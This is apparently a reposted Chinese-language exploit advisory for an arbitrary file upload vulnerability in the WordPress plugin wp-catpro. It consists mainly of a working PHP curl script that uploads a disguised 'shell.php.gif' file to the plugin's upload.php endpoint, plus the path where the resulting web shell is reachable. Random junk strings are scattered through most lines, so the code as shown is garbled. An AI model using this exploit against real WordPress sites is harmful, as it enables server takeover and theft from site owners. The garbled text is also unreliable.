WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
" I# l" M9 @0 b4 R- z3 s! g# d" f邮箱 => zikou16x@gmail.com
2 v3 K8 A( L" j& @  b+ U$ A测试系统 : Windows 7 , Backtrack 5r3
" E$ A. z2 y2 Q( i: T下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

* }$ I0 u, A/ `#=> Exploit 信息:
------------------
% ]+ U1 M+ T1 t! l) b+ D# 攻击者可以上传 file/shell.php.gif
  C+ F& U2 g0 @- q( K# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
* ]' m* p3 H: F9 Y* I6 B1 Z------------------
" \5 [$ o9 K5 S" c6 p
% X. \/ U; X% L) }# ]#=> Exploit
" B7 Z/ A0 d  V-----------
<?php

3 R# \4 z5 W" T7 C1 e2 \3 ^( |' M+ D, G/ z$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
7 ?- d; s+ Z6 vcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
& A) D) P- `7 |& A, i
8 q/ ]( B! n2 z7 w! |print "$postResult";

9 y7 ]& p! w* e0 P" ^- NShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 F  Y. s+ S9 C: H+ y4 K  ?>
1 w; i. t. M- l9 ?<?php
phpinfo();
?>